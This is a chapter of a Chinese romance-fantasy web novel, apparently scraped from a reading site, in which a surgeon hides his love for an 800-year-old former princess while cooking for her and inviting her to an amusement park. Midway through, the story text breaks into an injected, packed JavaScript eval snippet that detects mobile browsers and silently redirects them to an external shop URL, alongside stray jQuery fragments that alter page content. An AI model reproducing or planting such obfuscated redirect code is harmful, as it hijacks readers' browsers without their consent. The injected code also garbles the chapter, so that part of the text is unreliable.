4. 第四章
    做完紧急手术后急诊又接连来了几个病人,忙完已是六点多,陆野从医院出来后直接去了龙湖春晓。

    轻轻推开卧室的房门,云清婉还睡着,睡相一如既往差得要命,枕头偏移了十万八千里,被子也被踢到了地上。

    她穿了件淡粉色的小熊吊带睡裙,露出了莹白纤长的脖颈,如瀑布般的青丝散落在枕头上。

    陆野轻轻叹了口气后把空调呼呼的风量调小了些,又把被子捡起给她重新盖好了。

    虽说她是看着自己长大的,但除了小时候那几年,更多的时候都是自己照顾她。

    都活了八百多年了,怎么还能如此随意的?

    但也可能就是因为活了太久了,她对活着这件事已经不再有期待所以才会什么都可以,什么都无所谓,什么都不在乎了。

    普通人的生命最多也不过百年。

    百年说长也长,说短也短,在这期间任谁都是有期许的。

    名誉也好,金钱也好,爱情也好,自我价值也好,没有期许便不能称之为活着。

    可她的期许只剩下“死亡”。

    世间怎么会有这般讽刺之事呢?

    她到底做错了什么才会让老天爷降下如此的惩罚呢?

    陆野坐在床边,任凭纷繁杂乱的思绪横飞。

    理智最终在翻涌的感情前溃不成军,陆野缓缓俯下身离云清婉熟睡的脸越来越近,洗发水与沐浴液的淡淡清香扩散开来盈满了鼻尖。

    她浓密纤长的眼睫像暂且休憩的蝴蝶羽翼,樱桃般的粉嫩唇瓣微嘟,额间碎发恰到好处的凌乱。

    陆野眸子里流转着从窗帘缝隙里倾泻下的温柔曦光,喉间吞咽了几次后在她的额间留下了一个温热的轻吻。

    不过一个吻而已,就请原谅自己吧。

    忙了一个晚上,陆野退出房间在沙发上靠了一会儿后就迷迷糊糊睡着了。

    不知道睡了多久再次迷蒙间睁眼时被一张近在咫尺的脸吓得猛然一颤,额头不偏不倚与云清婉的鼻子来了个正面交锋。

    “啊!”

    云清婉躲闪不及被撞得两眼冒金星,捂着鼻子发出了痛苦的惊呼。

    “你干什么,靠这么近。”

    毕竟闭眼前最后一幕就是她的样子,有些心虚的陆野这会儿也被吓得不轻。

    云清婉艰难从牙缝里挤出几个字说:“我看看你啥时候能起来......”

    陆野看了眼时间已经十点多了,起身把毛毯折好,又挪开她捂着鼻子的手看了看,是红了一块但鼻骨没断,问题不大。

    “起来了为什么不叫我?”

    “你这么累当然得让你多睡会儿了,几点回来的?手术还顺利吗?”

    云清婉是八点多醒来的,从卧室出来看到陆野睡在沙发上,脸上写满了疲惫,眉心皱得厉害,便蹑手蹑脚去拉了窗帘又给他去拿了毛毯盖上。

    胸外科的繁忙程度是超乎想象的,陆野这几天休了年假,但医生根本没有休息一说,任何时候都是二十四小时待命,一个电话就得往医院赶。

    特别陆野还是被整个科室都给予厚望的天才新星,身上的责任就更重了。

    救死扶伤,悬壶济世,从前那个吵着闹着要听故事的小家伙已经成了独当一面的大人。

    但看到他如此辛苦云清婉还是会心疼。

    而且一旦他拥有了记忆,被陆远卿的执念所束缚,至今为止所有的努力都会付诸东流。

    想到这里云清婉的心就是阵阵绞痛,盯着看了许久。

    “六点多回来的,没什么问题。”陆野按了按酸涩的脖子,打着哈欠回答说。

    “脖子疼吗?坐下我给你按按。”

    陆野拒绝了她的好意说:“不用。”

    不过云清婉很坚持,拍了拍沙发说:“你坐下,我很有手法的!”

    来回掰扯了几句还是拗不过她的陆野只得乖乖坐下了。

    云清婉的力气不小,又是按又是捶又是捏,还用胳膊肘使劲,手法很是娴熟。

    才按了一小会儿陆野就怕她手酸喊了停:“好了,可以了。”

    “这才多久?多按会儿。”

    外科手术是个妥妥的体力活儿,动不动就是好几个小时,陆野平时已经很注意锻炼了。

    再忙一周也会去两次健身房,有时间也会去晨跑,但长时间握手术刀这些毛病也是没办法的事。

    “你等会儿先去洗个澡,我看你没睡着怕牛肉面买上来坨了就一直没下楼,趁你洗澡的时候我下去买,还是说想吃别的?或者我买了菜回来给你做?”

    陆野听着这番话恍惚间有了种她是自己女朋友的错觉,除了最后一句。

    那是谋杀。

    云清婉的厨艺不能用惨不忍睹,只能用惨绝人寰来形容。

    当然不能指望十指不沾阳春水的公主拥有炉火纯青的厨艺,但她愣是八百多年来没学会一个像样的菜。

    要么糊了,要么没熟,要么盐放多了齁咸,要么糖放多了齁甜。

    “怎么还有你做饭这个选项?”陆野斜着眼不可思议地问。

    “阿野,公主给你做饭你不应该谢主隆恩吗?怎么还嫌弃起来了?”

    “......”陆野无语凝噎片刻后默默拿起了桌上的泡面。

    云清婉最后用了拍了拍他的双肩后从沙发上起身,边甩着酸涩的手臂边没好气地说:“不吃算了,别人想吃还吃不到呢。”

    把“应该没人想吃”这句咽进肚子,陆野起身说:“你在网上下单买点想吃的菜,我洗完澡给你做。”

    “不用啊,太麻烦了。”

    陆野好笑地说:“又不是你动手你麻烦什么,我就问你想不想吃。”

    “那你要问我想不想,那肯定是想的,但......”

    阿野的厨艺不能用炉火纯青只能用登峰造极来形容,比从前当公主时候的宫廷御宴都要好吃不知道多少倍。

    云清婉最心心念念的就是这一口。

    不过他昨天陪自己逛了这么久,晚上又通宵做了手术,不能再累了,可拒绝的话却在中途被截断了。

    “那不就行了,快去买菜。”陆野笑笑还特意加上了个不得不做的理由:“就当给云师傅推拿的谢礼了。”

    公主想吃他做的饭,哪有不做的道理。

    说完陆野就去拿了换洗的衣服去了浴室。

    打开淋浴头,温热的水顺着头顶冲下来让他清醒了不少。

    他伸出白皙修长的手把起雾的镜子擦了几下,看着镜中映出的自己,抬着下巴左右换了好几个角度小声嘀咕了一句:“好看嘛......”

    门外忽然传来轻快的一声:“阿野!我想吃土豆可以吗!”

    他看着门上映出的娇小身影,笑意随着水蒸气一同弥漫开来:“可以。”

    “那牛肉呢?”

    “可以。”

    “焖鸡呢?怎么办?什么都想吃。”

    “只要公主吃得下都可以。”

    云清婉自信放出了豪言壮语,让他大可放心:“那你就太小瞧公主了,你做多少我就能吃多少!”

    他听着门外人嘴里纠结该吃什么的碎碎念,晕染开了硬朗的眉眼。

    “公主。”陆野轻唤了一声,嗓音被蒙蒙水汽浸润。

    云清婉正纠结着这顿满汉全席到底要选哪几味食材上桌,愉悦着语气应声:“怎么啦。”

    “之前医院的春节活动中了两张欢乐谷的门票,有效期快到了,反正也没事,要不要去看看?”

    为了不被察觉出意图,陆野故意把话说得漫不经心,

    “你运气这么好的嘛!”云清婉作为再来一瓶都没见过的中奖绝缘体不由感叹了一声。

    陆野不咸不淡扯了句:“还行吧。”

    面对诚挚的邀请,她打趣着说:“这不应该跟女朋友一起去吗?和我也太心酸了吧。阿野幼儿园时就有小朋友说长大要给你当新娘子,初高中收到的情书塞满了一整个屉子,更别说大学之后了,那么多女孩子追就没遇上喜欢的人吗?”

    无论是长相,身材,性格,还是能力,聪明程度,从小到大陆野都是众星捧月的天之骄子。

    云清婉甚至觉得就算是跟裴逸之比都是有过之而无不及的。

    诚然一个二十一世纪的现代人和一个八百多年前的古代人并没有任何可比性。

    但在云清婉认识且有过了解的人里裴逸之大抵就是时代局限性下,不是神明的凡人能够做到的极致了。

    用不带有任何个人感情,只从客观的角度来看,云清婉甚至觉得史学家们的评价保守了。

    那可是裴逸之啊。

    她了解的裴逸之比史书里记载的还要优秀得多。

    而陆野,在她心里能跟裴逸之平分秋色的人,喜欢的女孩子拿着号码牌能从陈记饭店排到卢浮宫去,到这个年纪竟然还没谈过恋爱着实让人匪夷所思。

    “没有。”

    陆野低下头,方才还熠熠生辉的眼眸瞬间凋零,撒了至今为止的人生里最大的一个谎。

    谎言里全是真心,真心里却掺不进一丝谎言。</p

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13408407|141279||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    >

    他不能说,哪怕在消亡前的最后一刻作为今生的饯别,他也不能说。

    再多的苦痛,再多的哀伤,再多的悔恨在心脏永远停止跳动的那一刻都会归为虚无。

    但她的心脏不会停止跳动,那就意味着所有的苦痛,哀伤,悔恨永远没有消散的那一天,只会越积越多最后变成她眼中空无一物的荒芜。

    所以不能说。

    “阿野,如果你有喜欢的人......”

    云清婉的话才刚起了个头就被打断了:“没有,也没有如果。”

    她想说什么陆野很清楚。

    无非就是先祖执念的那一套,陆野并不相信一个有自主意识的人能够被他人的思想所控制。

    一个外科医生谈论什么意识操纵本身就很魔幻了,但即便在接受了这个前提的情况下他也觉得没什么。

    因为眼前的人本身就是对他来说最重要的人。

    他的想法和先祖的执念如出一辙。

    “阿野......”

    话卡在喉咙里不上不下,带着尖锐的刺扎得人开不了口。

    陆野换好衣服打开浴室的门,压低声线问她:“云清婉,你觉得我是连自己的意识都控制不了的人吗?”

    一股湿热的水气扑面而来,眼前人的表情乌云密布,眸色深邃不见底,湿漉漉的头发淌下的水珠挂在凌冽的下颌线上摇摇欲坠。

    “不是这个意思......”

    意识到态度太生硬的陆野稍稍缓和了语气,紧绷的眉眼也舒展了下来,“这不是你要考虑的问题。”

    在喜欢上她的那一刻起,自己早就想好了。

    能陪她这一辈子,足够了。

    云清婉抬头用含着千言万语的复杂目光看了一会儿陆野,在沉默的终焉启唇说:“但是欢乐谷我做不了过山车的话就没几个能玩的了。”

    “不是有旋转木马和咖啡杯吗?”陆野拿起手边的毛巾擦着头发问。

    “这么大的人了坐旋转木马和咖啡杯不合适吧。”

    “你多大了?”

    云清婉如实回答:“八百多岁了。”

    陆野伸出手把溅到她脸上的几滴水珠擦去,觉得她委屈巴巴的样子甚是可爱,唇边笑意绽开:“多了两位吧,八岁不能再多了。”

    “......阿野,你不尊重长辈。”

    虽嘴上这么说着,但云清婉也知道她在陆野面前确实不像个长辈。

    陆野是她在这个世界上最在乎,最珍视的家人。

    所以八百年前的云清婉是什么样,在陆野面前的云清婉就是什么样。

    完完全全做着自己,没有保留,没有顾虑。

    一点不能顺心就耍小性子,闹脾气,早就不是公主了还有公主病。明明她才是长辈,该她照顾陆野,结果全反了过来。

    陆野无时无刻不在照顾着她,迁就她的想法,哄着她的脾气。

    她是想收敛的,但不知为何一面对陆野,一股脑就都出来了。

    “你想要什么样的尊重?说说看。”陆野决定先听听她的诉求再做决定。

    “至少不能把我傻子吧。”

    陆野不承认指控:“我什么时候把你当傻子了?诛九族的大罪我可不敢。”

    “算了,就这样吧。”云清婉叹了口气,觉得错在她没个长辈的样子,认清了现实。

    见她低头耷拉下了嘴角,陆野浅笑安慰着说:“人是越活越小的,况且你当小孩子又不是一天两天了,你抢我零食的时候我就知道了。”

    但这话显然没有起到安慰的效果反而是火上浇油。

    “这些事情就不用记得了啊。”

    她知道陆野记忆力惊人,但有些事情真没有记住的必要。

    陆野耸耸肩,一脸无辜:“那没办法,印象太深刻了,反正没听说谁家公主跟一个八岁的孩子抢零食的。”

    “那是逗你......”

    云清婉急切的辩解被温柔有力的一声吞没了:“多少岁有什么关系?云清婉就是云清婉,这样就够了。”

    她就是她,自己喜欢的她。

    仅此而已。

    云清婉听到这声的时候怔怔愣住了。

    这个瞬间心中萌生了一个绝不该有的自私想法:要是阿野能一直在她身边就好了。

    “怎么了?”见她突然呆呆的不说话了,陆野奇怪地问。

    “没什么。”

    云清婉摇摇头,收回了目光。

    君子论迹不论心,刚才那一瞬间的游离,就请原谅她吧。